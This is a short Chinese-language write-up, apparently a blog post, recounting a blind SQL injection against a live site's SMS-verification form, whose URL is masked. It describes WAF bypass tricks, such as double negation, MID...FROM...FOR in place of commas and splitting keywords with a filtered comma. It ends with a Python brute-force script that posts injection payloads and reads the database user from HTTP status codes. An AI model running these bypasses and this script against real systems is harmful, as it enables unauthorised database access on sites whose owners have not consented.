首先拿到了一处注入点
手工测试一下
这就被拦了吗…
测了几下
Select被拦
逗号被过滤
显错不是很顺手,开始盲注
首先是or 1=1
~~两次取反可以绕过
尝试length获取datatbase长度
这。。。database变成databa<x>se了
而且<>也被实体编码了,所以盲注只能用=
这时候想到过滤的逗号,能不能利用waf绕过waf呢
没用,好吧,试试别的函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
current_user长度为13
出数据的话left要用逗号
Substring可以不使用逗号(mid 也可以,当时只查到了substring)
substr被拦
这个时候尝试了好久,突然想到databse()是变而不是拦,那逗号会不会可以用呢
本以为可以愉快地出数据了结果=’a’又被拦了,貌似=后面不能接字符,ascii伺候
Ascii也被拦了没关系,吃我逗号!
看到502吓我一跳,后来发现真的时候是502,假的时候200
Fuzz脚本
import requests
url='https://xxxxxxxxxxxxxxxxxxxxxxxxxxx'
for i in range(1,14):
for j in range(1,127):
payload="1 or~~asc,ii(mid(current_user from %s for 1))=%s#"%(i,j)
data={'captcha':'1',
'getSmsVerfy':'111111',
'mobile':payload}
g=requests.post(url,data=data)
if g.status_code==502:
print j